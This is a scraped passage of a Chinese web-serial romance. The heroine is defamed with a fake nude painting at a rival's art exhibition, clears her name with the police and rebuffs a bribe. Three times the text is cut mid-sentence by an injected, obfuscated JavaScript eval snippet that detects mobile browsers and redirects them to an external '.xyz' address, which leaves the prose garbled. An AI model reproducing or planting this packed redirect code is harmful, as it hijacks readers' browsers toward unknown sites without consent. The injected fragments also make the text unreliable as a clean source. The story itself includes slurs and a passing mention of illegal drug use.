沈韫浓从书册中抬头:“锤什么?说她乱搞男女关系啊?” 宋悠悠像那种人,有这方面的传闻,倒是不奇怪。 “差不多,但是更离谱一点。那几个男的都跟她上的那个恋综有关系,他们每个人都觉得自己在跟宋悠悠地下情,但实际上,宋悠悠也只是想拿到更好的资源而已。” 沈韫浓自己去看热搜。 这才发现宋悠悠的事已经一跃成了第一,以十八线之姿,甚至拥有了一个“爆”的字样,简直是抬咖了。 那些爆料的男人也离谱,一个节目组的导演,副导演,制作人都包含了,甚至还有摄像。 他们一个个都在控诉自己被坏女人骗了,上了宋悠悠的当。 沈韫浓越看越想笑:“宋悠悠何必呢,家里那么有钱,用得着去潜规则?再说了,她那么蠢能同时**这帮老油条?无非是当时为了睡到手装聋作哑,现在假装受害者,纯情小白兔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874295|172021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这帮男的可真恶心啊。” 林贞:“男的不都这样嘛,正常。不过,爆料的时间点有点蹊跷。如果是为了节目流量,下一届恋综,还有小一年呢。” 沈韫浓放下手机,略略思考了一下这件事。 “不是楼铮就是陈知意做的,陈知意的可能性更大一些。”她说。 如果是楼铮,估计是为了给她出气,但贺韶瑭逼着宋悠悠吃十盒鲱鱼罐头,已经挺惨的了,应该没必要。 更何况她又没吃亏,不过是被宋悠悠骂了两句,宋悠悠可是被她打成了猪头的。 反而是陈知意收拾宋悠悠的理由更充分一些。 其实这事问问楼铮也就知道了,沈韫浓也是人,也八卦。 但她强忍着没问。 她现在像一个努力戒除烟瘾的人,最重要的,是离“那支烟”远一点。 但“那支烟”显然不这么想。 起因是沈韫浓刷淘宝,看到一款最新的电脑,不小心误触了“免密支付”,结果居然购买成功了,这才发现自己卡里居然有足够的钱。 她看短信提醒。 才发现自己的账户里多了100万,转账时间是给楼铮过生日那天晚上,只是当时她忙着打宋悠悠,没注意短信提醒罢了。 这张卡是她在楼氏的工资卡,转账人不用问,不是楼铮,就是他底下的人。 甚至还刻意备注了七个字:零用钱,自愿赠与。 说不清道不明的情绪从心头缓缓流过,根本压不住。 沈韫浓给楼铮发消息。 “我才发现卡里的钱,我不要。你给我个卡号,还给你。”她说。 消息石沉大海,那边没理她。 于是,沈韫浓先把电脑退了,那张卡也暂时解绑,只想着找机会把钱还给楼铮。 深夜,她睡不着,又胡思乱想,更加确定了宋悠悠那件事是陈知意干的。 毕竟按楼铮之前的表现,明显还是用得着宋悠悠的,不至于这个时候曝她丑闻。 这么想,自己跟楼铮走那么近,陈知意只是阴阳自己两句,已经算客气了。 第二天,沈韫浓上班,刚跟郭睿对接完工作,便接到一个电话。 陌生号码,是一个不怀好意的男声。 “沈小姐现在也做那个了吗?多少钱一晚?” 沈韫浓的脸沉下来:“你神经病吧!” “装什么呀!”那人笑,“你裸体都给人画了展览,难道陪睡不行?” 第一百二十九章 一个眼神久激怒了她 对方话里的内容让沈韫浓迅速警觉。 她冷冷问道:“你把话说清楚,什么裸体画?” 那人显然是认识她,淫笑着吊儿郎当道:“装什么呀,会展中心画展上那副裸体画不是你?!别人我不认识,你我还认不出来?就凭你那颗痣就错不了。不过别的不说,你身材是真带……” 这下,沈韫浓一句话都懒得说了,她直接把电话挂了。 会展中心画展……那是陈知意的画展! 沈韫浓气得手都发麻了,她都已经尽量远着楼铮了,怎么还能被陈知意这条疯狗给追着咬! 她跟郭睿请假,从公司出来,打车直接去了会展中心。 今天是陈知意画展的第一场。 听电话里那个声音的意思,是说本场展出的作品里有自己的裸体画。 做兼职的这段日子里,沈韫浓也领教了陈知意的绘画功底。 怎么说呢,有一定的水平,但绝不像外界吹捧的那样,“绘画界的新星”,“不可多得的美术天才”。 沈韫浓觉得她是名不符实的。 但因为陈家人脉广,生意大,陈知意的作品有独特的用途—— 那就是被各种生意人和纨绔子弟收藏,用来**。 沈韫浓就目睹过好几次她一幅普普通通的画卖大七位数。 所以,陈知意的身份与其说是艺术家,不如说是“白手套”来得更贴切。这也是沈韫浓坚持要辞职的理由之一。 本以为这次画展又是一场**大狂欢,没想到这里边还有自己的事。 沈韫浓坐上出租车没多久,便接到了林贞的电话。 显然她也听说了这件事。 “我到会展中心了,现在就去把陈知意的画展砸了。”林贞在电话里怒气冲冲。 “别!”沈韫浓这会儿已经平复下来了,赶紧制止她,“冷静,你先拍照留证据,剩下的等我。” 好容易安抚住林贞,又过了20分钟,沈韫浓到了。 林贞在门口等她,拉着她就往里走。 “我问了,你那幅画是田欣的毕业作品,已经很多人都拍过照了。” “你那个室友可真贱啊!”林贞边走边骂人,“我就知道,陈知意和田欣一起吃饭没憋好屁。” “没事,我先去看看怎么回事。”沈韫浓说。 她语气平静,倒是不显得慌乱。 “你……不生气?”林贞被她淡定的样子无语到,感觉自己真是皇上不急太监急。 沈韫浓:“气过了,再说已经发生了,生气也没用。想解决办法就行。” 看她这样平静,林贞的情绪也渐渐稳定下来。 “好吧……差点忘了,你是客体分离的高手。”她说。 遇事先动脑子,不被情绪左右,是沈韫浓最擅长的事。 两人进了展馆,沈韫浓也见到了那副她的裸体画。 当然跟她没什么关系,不过是画了一副一丝不挂的身子,搭配在她的头下面。 右下角作者署名:25级田欣。 此时,现场已经围了不少人。 其他画作前无人问津,只有这一副前面门庭若市。 除了原本就认识沈韫浓的世家子弟,过来凑热闹的。 还有一些不知道她的人。 围观者说什么的都有—— “这个模特真好看啊,也是真大胆,居然敢脱光了让人画。”有人评价。 “这你就不知道了,为艺术献身嘛。”他的同伴挑着眉毛,笑得不怀好意。 “这种人体模特,能是正经人?!啧,这女的长得挺绝的啊,”又有一个人说。 听着那些刺耳的话,林贞原本压下的脾气又起来。 她刚要开口,被沈韫浓握住了腕子。 沈韫浓对林贞摇摇头,自己直接拨开人群,走过去。 “人体模特是正当工作,并不可耻。”她站到那副画面前说。 看着眼前比画里更美上许多倍的**,众人不自觉怔了一下。 没人想到沈韫浓居然敢来,空气安静了一瞬,针落可闻。 沈韫浓环视了一下众人,自顾自说道:“只不过,这幅画里只有这颗头是我,身体与我无关。这幅画的作者和主办方侵犯我的肖像权。” 她的神情里没有任何被画裸画的羞耻,只有正义和坦荡。 一时间,竟然真的把现场的人唬住了。 虽然没有人表态,但已经有不少人都愿意选择相信她的话。 陈知意原本在跟一些过来看展的人互动,注意到这边的异样,也走了过来。 “韫浓来了呀。” 她似乎还不明白状况,笑着过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874296|172021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来拉沈韫浓的手,跟众人介绍:“这就是我们家的最美模特。” 沈韫浓把自己的手抽出来,冷着脸,静静地看着陈知意。 “陈小姐,这幅画,我需要一个解释。” 不知怎么,她的眼神,让陈知意不自觉想到楼铮。 那种什么都不怕,对一切胜券在握的眼神。 她一个婊·子的女儿,天生低贱。她凭什么有那样的眼神! 连沈韫浓自己都不知道,她只凭一个眼神就激怒了陈知意。 陈知意暗自咬碎了一口牙,面上却笑盈盈道:“怎么这么大火气?我听不懂你在说什么。亲爱的,这不就是田欣私下花钱请的你吗?她说你们一起住,有这个便利。其他学生还都嫉妒你给她开小灶呢!” 林贞:“放屁,让田欣拿出证据来!” 陈知意看向林贞,依然是那副死样子:“说话别这么粗俗嘛,林小姐。不过,田欣好像艺考完就毕业旅行去了,不信的话你可以联系她问问。” 又一脸无辜:“我这儿只负责把优秀作品展出来,至于优秀作品怎么来的,我可管不着。如果这幅画有争议的话,我收起来就是了。” 说着就让人上去把画取了下来。 沈韫浓掏出手机打田欣电话,果不其然,关机。 不用猜就知道,陈知意这是故意包庇田欣了,她一走,就是一个死无对证,然后这件事不了了之吗? 就像是网络上无数被造了黄谣的女孩,男人只是一句口嗨,女孩就会面临一场声势浩大的网暴。 挺不过去的,永远告别了世界;挺过去了的,也最多得到造谣者一句随意的道歉,他们甚至不用坐牢! 陈知意不就是想这么对付她么,时效性一过,以后她再解释,也失去了最好的时机。 人们对八卦的热衷程度又明显高过对真相的在意,说不定,这事传着传着,就成了沈家落魄后,沈韫浓为了生存做裸模。 沈韫浓在心里冷笑,之后环视一周。 陈家为了给陈知意造势,她的画展每次都是几十家媒体到场,声势浩大。这次更是不少媒体在现场直播。 想让她吃哑巴亏,门都没有。 “画不用收了,我已经报警了。”沈韫浓拦住工作人员,淡声道。 第一百三十章 法律武器 陈知意没料到沈韫浓敢主动把这件事闹大,愣了一下。 之后,息事宁人道:“你不喜欢,我让他们把画收了就是。这样的事传出去你也不光彩,还是不要闹大的好。” 沈韫浓莫名其妙看她:“我又没做错事,有什么不光彩的?别说画中的人体不是我,就算是我,我一个受害者,有什么好怕的?陈小姐不会还活在清朝吧?” “说得好!”人群中有个女孩挺她。 沈韫浓抬眸一笑。 此时,警察已经到了,问是谁报的警。 “我。”沈韫浓在人群走出来。 “我报的警,这里有人侵犯我的肖像权,对我进行侮辱诽谤,我可以配合取证。” 她指着那幅画给警方看,神态从容,语气坦荡,没有一丝慌乱和破防。 反而是陈知意,看警察一来就拉下了脸。 “你这是什么意思,想毁了我的画展吗?”陈知意冷冷道。 沈韫浓:“陈小姐,你审核不严,任凭别人利用你的画展做文章,真正破坏这场画展的人是田欣,你不找她反而还阻止我,不会你们俩是一伙的吧?” “当然不是!” 说完,又看向为首的警员:“在事情查清楚之前,画展要暂停的吧?” 陈知意想过这事情闹大,沈韫浓可能会找楼铮帮忙,但凭自己跟楼家的关系,最多就是把画撤了,再把田欣扔出去顶罪而已,到时候网上铺天盖地的图片,该看过的人都看过了,沈韫浓的名声也就彻底毁了。 但她没想到,沈韫浓会报警。 见事情没有按照她预料的发展,陈知意在心里有些慌,厉声道:“凭什么?我在这里办展一天多少钱你们知道吗?耽误了我的事,我看谁负责!” 不,不该是这样。 沈韫浓应该见到这幅画后立马破防,之后,百口莫辩,人人唾弃才对。 她为什么不怕? 沈韫浓又用眼睛扫视了一下周围举着**短炮的媒体。 那些记者们原本是请来给陈知意造势的,此时一个个目露精光,拼命地往前挤。 这可比画展有意思多了,谁抢了第一手消息,一定会爆吧。 林贞看出了她的用意,大声道:“今天这场首展是有直播的吧,还请了这么多记者,陈小姐,你是准备用自己的特权欺负沈韫浓这样没权没势的普通人吗?” 又转向**:“你们会按规章制度办事,对吧?” “当然。”为首的警员说。 接着,他让人把画拿走,又对沈韫浓和陈知意道:“跟我们走一趟吧。” 沈韫浓是巴不得去,陈知意是即便有一百个不愿意,却也不好在媒体面前再端架子。 两人跟着警方往外走,林贞抬脚要跟上。 沈韫浓回头对林贞使眼色:“贞贞,这么多媒体朋友等着呢,麻烦你先给大家讲讲我和田欣的恩怨。” 抢占话语权是吧,就她陈知意会吗? 林贞马上会意,悄悄比了个“ok”的手势。 一时间,画展紧急叫停,众人被疏散到场外。 看热闹的人群却并没有走,直接团团围住了林贞—— “林小姐,您朋友刚才说自己跟这幅画的创作者有恩怨是吗?能说说怎么回事吗?”其中一个记者起头。 林贞叹口气,煞有介事。 “唉,我这个朋友也是纯倒霉……” 她添油加醋讲了田欣的奇葩事件,还拿出了微信上沈韫浓跟她抱怨的语音证据。 【挺好的小姑娘真的刷新我三观了,她为什么偷穿我衣服啊,我不干净了!啊!】 【她男朋友长得跟头猪一样,卫生间偷窥我洗漱被我打了,居然污蔑我勾引他,谁来救救我啊!】 手机里传来沈韫浓抱怨的声音,听上去生无可恋。 林贞又给媒体看了时间线,义愤填膺:“我朋友现在根本不敢回租的房子,被她逼得在我家借宿半个月了,怎么可能给她做人体模特呢?” 林贞虽然小事上稀里糊涂得过且过,大事上从不掉链子。 比如现在,沈韫浓还没到局子,林贞已经替她卖惨得到了不少围观群众的支持。 起码超半数以上的人,都觉得是她被田欣做局了。 到了局里,做笔录,备案。 沈韫浓主动要求跟着女警官进去取证。 私密房间里,两位女警官拿裸画上的人体跟沈韫浓进行了对比,自然是完全不一样。 “现在要造一个女孩黄谣成本真是太低了。”其中一个唏嘘。 这件事很容易定性:田欣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880816|172021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侵犯沈韫浓肖像权和隐私权,下一步便是面临警方传唤。 警方已经开始联系田欣了。 而与此同时,陈知意在一旁心烦意乱,也早已看到了网上的言论。 直播画面中,林贞讲得绘声绘色,随便点进哪个媒体直播间,都有1W+的在线人数。 **已经一边倒地支持沈韫浓了。 骂田欣的占大多数—— 【居然因为私人恩怨这样对待一个女孩,这个艺考生也太不是东西了】 【就这,还想上大学呢?哪个美术学校要,我第一个不同意】 还有一部分盛赞沈韫浓和林贞美貌的—— 【那个田欣肯定是嫉妒,沈韫浓这么好看,怎么可能看上她的猪精男朋友】 【林贞长得也顶啊,这身材,谁能忍住不叫一声妈妈】 【闺蜜情最好磕】 陈知意越看越气。 田欣出这个主意,她本来也觉得不太高明,可好容易有这么个坑沈韫浓一把的机会,又实在不想错过。 心想反正又不是她画的,就算被识破了,算账也算不到她头上。 谁知自己狐狸没打到,反而惹一身骚。没让沈韫浓出洋相不说,还给她出了风头。 陈知意眉头越皱越紧。 直到看到了骂她的言论—— 【这样的作品交上来,陈知意居然不审核的吗?说不定就是她授意的】 【她的画室本来就不靠谱,**来的】 …… 陈知意终于坐不住了。 不行,现在的局面来看,田欣已经很难救了,当务之急是弃卒保帅,跟她划清界限。 这样想着,陈知意马上道:“没想到田欣居然是这种人!她毁了我的画展,韫浓,我现在就让工作室发声明,证明你的清白。你放心,找到她,我第一个不放过!” 看着陈知意那副模样,沈韫浓想起一句很糙的俗语——“孩子**你来奶了。” 她低头噗地笑出声来。 “你笑什么?” 陈知意问,“韫浓,你该不会真的觉得我跟田欣一起害你吧?” 沈韫浓挑眉:“没什么,你愿意替我澄清,我高兴啊。” 两人的笔录还没做完,只听一个声音道:“队长,楼铮把田欣和她男朋友带来了。” 第一百三十一章 避个鬼的嫌 沈韫浓和陈知意几乎同时朝门口方向看。 一抬眼,便看到田欣和那个200多斤的黄毛连滚带爬地进来。 接着,便看到了他们身后凶神恶煞的楼铮。 田欣和黄毛原本是去版纳旅行的路上,没想到,刚落地,就被楼铮的人截住了,直接用直升机带了回来。 两人显然已经被收拾过了,一样的臊眉耷眼,畏畏缩缩。从进门后就低着头,根本不敢看沈韫浓的眼睛。 陈知意看楼铮进来,先是没作声,观察了一下楼铮和沈韫浓的互动。 那两人当她是死的一样,眼里只有彼此。 陈知意眼看着楼铮的脸色在看到沈韫浓后缓和下来,而沈韫浓勾了勾唇角,也没有刚才紧绷了。 她恨得要命,倒要看看,楼铮会不会明目张胆地保护沈韫浓。 “警察同志,把这两个人带去审吧。”楼铮说。 系统里的人没有不认识楼铮的,他话音刚落,马上有人过来押了田欣和黄毛去了审讯室。 一时间,只剩下了楼铮,沈韫浓和陈知意三人。 楼铮终于把眼神挪到陈知意脸上,他静静地不说话。 和沈韫浓在画展上看她的眼神是一样的! 陈知意咬牙,只觉得受了天大的冒犯。 但她这次不敢叫嚣。 毕竟这件事已经闹大,那么多媒体看着,丢陈家的脸,影响画室的声誉还是小事,如果因此真的和楼铮闹翻,就再也没有回头的余地了。 “楼铮,我知道田欣跟韫浓是住一起的,一直以为她们关系很好,真没想到她会做出这种事。”陈知意做出义愤填膺的样子,“我会跟她的学校打招呼,不许任何一所美术院校录取她。” 这话算是给楼铮一个交代。 楼铮点了支烟:“你不是刚帮她争取到了海市美院的保送名额吗?” 陈知意镇定自若:“是我瞎了眼,这个名额就算浪费也不可能给她了。” 楼铮“哦”了一声:“那‘借’给她旅游用的10万块,还要她还吗?” 陈知意:“楼铮你什么意思?你该不会觉得是我给她好处,让她过来破坏我的画展吧?” 她声音又不自觉拔高了,扫了一眼沈韫浓:“信不过我,你查就是了,这件事跟我没什么关系。楼铮,我们两个一起长大,你现在为了一件小事,一个外人怀疑我?” 这件事,陈知意还真不怕楼铮查。 毕竟,这件事全程都是田欣主谋,为了撇清嫌疑,她甚至还模棱两可地拒绝过田欣几次。 跟她说“这样不太好吧”。 田欣是个没脑子的,马上说:“陈老师,是我跟她有仇,要搞她,你怕什么?” 哪怕是审,她最多算包庇。 她倒是要看看,楼铮要为沈韫浓做到什么程度。 楼铮声音沉冷:“小事?亏着沈韫浓是个脑子好使的,知道保护自己。如果她反应不过来,是不是跳进黄河也洗不清了?你差点毁了一个女孩的一辈子!还有,沈韫浓不是外人,你也不是自己人。陈知意,摆正你的位置。” 一大早上,得到到这个消息的时候,楼铮的脑子“轰隆”一声。 他完全信任沈韫浓,知道她不会去给人画裸体。 更知道那颗头下的身体完全与她无关。 可即便如此,一想到会有那么多人看到那幅画,他就理智全无。 避嫌,避个鬼的嫌,他就想一把火把陈知意的破画展烧干净! 为了沈韫浓,他不得不强迫自己冷静,在10分钟内迅速想出解决办法。 实则哪怕是把田欣和黄毛抓到,也一直悬着颗心。 去年,有个女孩仅仅因为染了粉色头发就被网暴到自杀,他担心沈韫浓会想不开。 在来局子的路上,终于有空看手机,楼铮才发现这件事沈韫浓解决的这样漂亮。 是啊,她那么聪明又坚韧,他在担忧什么? 不过是关心则乱,怕小东西吃亏。 楼铮一点脸都没给陈知意留,直接把她骂懵了。 “所以……你想悔婚是为了她是不是?”陈知意诧异地问。 自己都没察觉出语气里的万念俱灰。 这次,楼铮没有正面回答她,只冷冷道:“不要扯这些不相关的。我们的婚约一直是老人口头上说说,我没有同意过。” 陈知意张张嘴,想质问楼铮和沈韫浓什么关系要这样护着她,又觉得自取其辱。 万一楼铮真回答自己喜欢沈韫浓,她就一点余地都没有了。 她脸色青白交加,咬紧嘴唇,没有再说话。 楼铮看向沈韫浓,语气陡然放柔:“你是受害者,这件事你说怎么办。” 沈韫浓淡定:“田欣按法律规定罚就好了,陈小姐的画室要全平台跟我道歉。” 楼铮看向陈知意,语气再次紧绷:“这个处理方案,你有意见吗?” 陈知意找回残存的理智,咬牙:“没有,没有规范好自己的学生,我本来也有错。” “行,那就这么办吧。”楼铮点头。 他抬脚往外走,又看一眼沈韫浓:“走了。” 沈韫浓跟上。 坐在楼铮的车里,她先打电话跟林贞报了个平安。 这件事她也全程在追踪,知道林贞处理得多漂亮,心里感激。 林贞:“没事就好,不过还挺有意思。这件事刚出,就同时有三拨人去买那幅画。听说画被警方带走,才回去了。” “都有谁?”沈韫浓纳闷。 “有两个人应该是楼铮和贺韶瑭的手下,还有一个男的,不认识,说是受朋友之托来看看你。”林贞说,“对了,他还给我留了张名片,让你有空了联系他。” 微信发了张名片过来。 沈韫浓看一眼。 姜枫珉?不认识。 姓姜的人,她只认识一个。 林贞又问起这件事最终怎么解决,沈韫浓告诉了她。 “卧槽,你也太便宜陈知意了吧。她就是觉得你好欺负,有恃无恐。”她在电话里很不满意。 沈韫浓看一眼旁边的楼铮。 “全网道歉已经够了,定不了她主谋的名头,最多只能算包庇,也罚不了什么。”沈韫浓说。 又简单聊了两句,才挂了电话。 楼铮跟听到了她的话,突然开口:“这件事陈知意不可能无辜,你放心,我不会放过她的。” 咦? 沈韫浓转头,诧异看他。 这么狠吗? 楼铮跟陈家的关系,她是越来越弄不懂了。 看沈韫浓几次欲言又止,楼铮睨他:“想说什么就说。” 沈韫浓:“……你要是还用得着陈家,这件事,你就别插手了吧。” 第一百三十二章 拿钱走人 沈韫浓是诚心诚意,不是阴阳。 楼铮救过她的命,如果是为了楼铮,这次原谅陈知意,把责任都推到田欣身上,也不是不行。 却听楼铮冷笑一声:“沈韫浓,我像是那种为了利益连自己女人都不顾的人?” 沈韫浓抓重点:“……我不是你女人。” 楼铮翻白眼:“对,你是我姑奶奶。遇到什么事都不会找我,就知道一个人往前冲。” 后半句已经是明确的抱怨了,沈韫浓再不解风情也能听出楼铮气不顺。 她垂眸,嘴上依然很犟:“不是什么大事,我自己可以。” 主要是他们的关系实在是太尴尬,躲都来不及,怎么好麻烦他。 后面的话她没说,但楼铮是什么人,猜也能猜到。 隔着后排座椅的中央扶手,他伸手捏住沈韫浓下巴,转过她的头,逼她直视自己。 “沈韫浓,你再防我跟防贼似的,试试看呢。” 楼铮咬牙切齿。 沈韫浓抿唇,很久才说:“本来就不该这样,霸占着别人的男朋友是不道德的。她讨厌我也正常。” “你说我是谁男朋友?”楼铮的手收紧,在她窄窄的下巴上捏出白印子。一双眼睛沉沉地注视着她。 沈韫浓被他捏得皱眉:“不管是谁的,总归不是我的。” 楼铮不想跟她吵架,又实在不想听她说话。 他深呼吸:“我再给你一次机会重新组织语言,沈韫浓,别惹我生气。” 沈韫浓:“本来就不是……” 后面的话,被楼铮堵了回去。 带着惩罚性质的吻,没有章法,全是被压抑的欲望。 楼铮掐着沈韫浓的下巴,厮磨她的唇瓣,入侵她的口腔,吸住她的舌尖不放。 原本只是为了罚她,谁知,火山下蕴藏的熔岩一触即发,欲念的火将残存的理智燃烧殆尽,楼铮既饥渴又满足,他觉得自己快疯了。 沈韫浓被楼铮吸得舌尖发麻,脑子也酸胀得厉害。 她意识到了自己的身体变化,更加害怕这种身心被人掌控的感觉。 她拼命推他,因为动作幅度太大,自己撞在了一旁的车门上,发出一声闷响。 把楼铮和沈韫浓自己都吓了一跳。 疼痛感将旖旎的氛围打破,沈韫浓“嘶”了一声。 楼铮迅速停下,扳过她的头检查。 起了个不小的包。 沈韫浓眼泪汪汪怒目而视,楼铮尴尬,替她揉着脑袋轻咳了一声。 “抱歉,情难自控。” …… 这件事,最终以警方出通告声明落幕。 田欣侵犯沈韫浓肖像权隐私权被坐实,陈知意工作室也在全平台发了声明,承认自己监管不严,向沈韫浓道歉,画展也中止整顿。 沈韫浓这个普通人,因为这件事,也得到了一点流量和关注,在热搜上挂了一天多。 同情她,声援她的声音固然多,但更多的,都在惊叹她的美貌,在各个视频和新闻下面问她的社交媒体账号,甚至有MCN机构已经在联系她了。 流量之大,让沈韫浓这种爱钱如命的人,在某一瞬间都觉得自己不开直播圈点钱可惜。 可这种念头一闪而过,马上被她自己否定了。 流量是把双刃剑,单纯的颜值网红也走不远的,她和顾曦薇的往事也会被翻出来,得不偿失。 因为这件事,陈知意的风评,也是一落千丈,网上质疑她的声音也越来越多,不少人都在怀疑她的水平,和画展的目的。 更是涌出大量水军,口径一致地要求陈知意公开收入和纳税明细。 “大概率是楼铮做的,楼铮和陈知意这是撕破脸,演都不演了。”林贞说。 “谁知道呢。”沈韫浓现在已经搞不清,那两人到底算什么关系了。 刚想说事不关己,己不劳心。 林贞又说:“这次楼铮已经光明正大袒护你了,你还是要小心点。陈知意这人背地里就是条疯狗,她恐怕不会那么轻易就放过你。” ……那倒是。 沈韫浓当然知道,也觉得无奈。 虽说事情发展到今天,她也有责任,可她从来没想过把楼铮从谁手里抢走。 陈知意这样拿她当假想敌,实在没有必要。 她又没想过做楼太太! 第二天,沈韫浓就被陈知意找到了公司。 前台打内线电话找她:“沈助,有个姓陈的小姐找您。” 这是兴师问罪来了吗? “请她去待客室等我。” 待客室里,沈韫浓正在喝茶,眼底带着一抹疲惫,显然昨天一夜没有睡好。 沈韫浓走进去坐在她对面:“陈小姐。” 陈知意放下茶杯对她开门见山:“我知道你和楼铮睡过了。” 上来不问网上的事是不是她干的,先提男人,没想到陈知意还挺恋爱脑。 沈韫浓不被她套路,静静地看着她不作声。 陈知意自顾自说下去:“我的确不喜欢楼铮,但陈家和楼家的联姻绝对不能被破坏。” 沈韫浓心说陈知意的嘴还真是硬,到现在都不肯承认喜欢楼铮。 “没人想要破坏你们的联姻。” “但现在你的出现已经影响到我们了。”陈知意心里恨不得把沈韫浓千刀万剐,面上却只是神情倨傲:“楼铮怎么玩是他的事,可你该认得清自己是什么身份。沈韫浓,你这种身份是永远也嫁不进楼家的,难道你甘心给他做情人?” 其实这句算是人话,沈韫浓也是这么想的,所以她没有反驳陈知意。 见沈韫浓不作声,陈知意以为她被自己说动了,缓和了语气。 “沈韫浓,我知道你缺钱,我给你钱,你离开海市,去一个楼铮找不到你的地方。”陈知意又说。 她拿出一张支票来。 “这是一千万,你现在就走,过了今天,我不想再看见你。” 原本不需要她自己低声下气,跟沈韫浓摆在明面上。可看楼铮对沈韫浓袒护的样子,陈知意坐不住了。 她把自己画室被查的账又一股脑儿算到了沈韫浓的头上,这个女人是灾星,与其扯皮,不如早点花钱打发了。 别说,看着那一千万的支票,沈韫浓真的心动了。 好大的诱惑,不愧是陈家千金,比宋悠悠大方多了。 反正她也真的想离开楼铮,顺道拿了这个钱走人,还算意外收获。 第一百三十三章 姜枫珉 但沈韫浓是做一步想三步的人,她考虑的太多。 楼铮想找一个人,就算躲到天涯海角去,应该也能找到。 最关键的是,陈知意很早之前就试探过她,要给她100万,让她去勾引楼铮。 这女人说话能有几分真? 比起天上掉馅饼,这是个圈套的可能性还要更大一些。 沈韫浓不接支票,神色淡然:“陈小姐,聪明的女人从来都是解决男人,这事你跟我说没用,该去找楼铮。你的钱我不会要,我更不会离开海市。请回吧。” 她这话听在陈知意耳内,约等于“你有本事别让楼铮喜欢我啊”。 见沈韫浓这个态度,陈知意恼了,拿起桌上的茶杯,对着沈韫浓泼过去:“沈韫浓,我今天客客气气跟你谈,是给你脸。你软硬不吃,就是不识抬举了。 生活又不是偶像剧,你以为楼铮会娶一个荷官的女儿吗?他不过是拿你消遣,你要是给楼铮做小三,别人只会说你跟你妈一样,是个婊子!” 最后这句话,才真正激怒了沈韫浓。 这帮自以为是的女人,一个两个骂顾曦薇上瘾了。 沈韫浓躲开了那杯水,冷冷笑了笑: “所以陈小姐,你自己都说楼铮拿我当消遣,不会娶我,那你在怕什么?是怕楼铮喜欢上我吗?你要是真跟你自己说的那样不喜欢楼铮,只是为了应付老人,根本犯不上找我。 陈小姐,人不能既要又要还要。喜欢楼铮就说喜欢,你给我支票不如跪下来求我更好用。” 沈韫浓这句话直接踩在了陈知意的七寸上。 她被沈韫浓嘲讽得下不来台,在心里破大防,暗自咬碎一口牙,面上却依然居高临下:“我喜不喜欢,还轮不到你个绿茶婊来管。我今天给你脸,你不要,以后就别怪我不给你留情面。” 沈韫浓抬眉:“你所谓的留情面,就是利用田欣搞出个裸体画害我吗?陈知意,我发现,甄嬛传里有句话来说你,真是再合适不过了——贱人,就是矫情!” “你!” 陈知意抬手就想给沈韫浓一个耳光,被她一把抓住了手腕。 沈韫浓:“你搞清楚,现在是你求我,不是我求你。你再敢背后搞这些下作手段,我现在立刻就去跟楼铮在一起,还有,你最好祈祷我和我身边的人都平平安安,顺顺利利的,不然,只要出一点事,我就跟楼铮说是你干的,你要不要试试看?” 说完,不顾陈知意吃了屎一样的脸色,沈韫浓转身走了。 陈知意不知道自己是怎么离开的,她这几天心被嫉妒和求不得填满,只想杀人。 可沈韫浓最后那句威胁,还是拉住了她仅存的理智——现在,不能再惹恼楼铮了,否则,只会把他越推越远。 回去的路上,手机响起。 陈知意接起,语气不悦:“怎么这个时候打电话?不是说了我不找你,你就不要找我吗?” 电话里是个男人的声音,无限温柔小意:“宝贝儿,知道你画室出事了。我不放心,回国陪陪你。” 陈知意依然不高兴:“不用,现在不少媒体盯着我,正是敏感时期,你快回去。” 那人丝毫不介意他的脾气,依然温言软语:“可我已经到画室了。” 陈知意的脸色更加难看,嗓门都提高了:“谁让你到画室找我的?你要是被媒体拍到就全完了!再这样,我们的关系到此结束!” 那男人听她发脾气,沉默许久,又继续哄:“别生气,我就是看你这几天心情不好,想来陪陪你。我到的时候特地看了,没有人跟踪。 你快来,我带了点好东西过来,让你也放松放松。” 不管陈知意怎么发脾气,那边都一味的做小伏低,只是哄。 陈知意的火气慢慢降了下来。 在她眼里,天下所有男人都该这样对她,包括楼铮。 楼铮简直是鬼迷心窍了,才看不到她的好。 那男人带的“好东西”陈知意知道是什么,她在国外也试过几回。虽说在国内是违法的,可到底是在她自己的地盘,没有人会知道,她太压抑,的确该开心一下了。 …… 沈韫浓从接待室出来时,正好和郭睿迎面撞上。 郭睿往里瞟了一眼,看到了陈知意。 这两天裸画事件这么热闹,郭睿自然也看到了。 “她来找你道歉?”郭睿问。 恰恰相反。 沈韫浓摆手:“晦气的人,不提也罢。” 郭睿果然就收起了八卦魂,真诚夸她:“你真聪明,这么麻烦的事,竟然处理得这样好。” 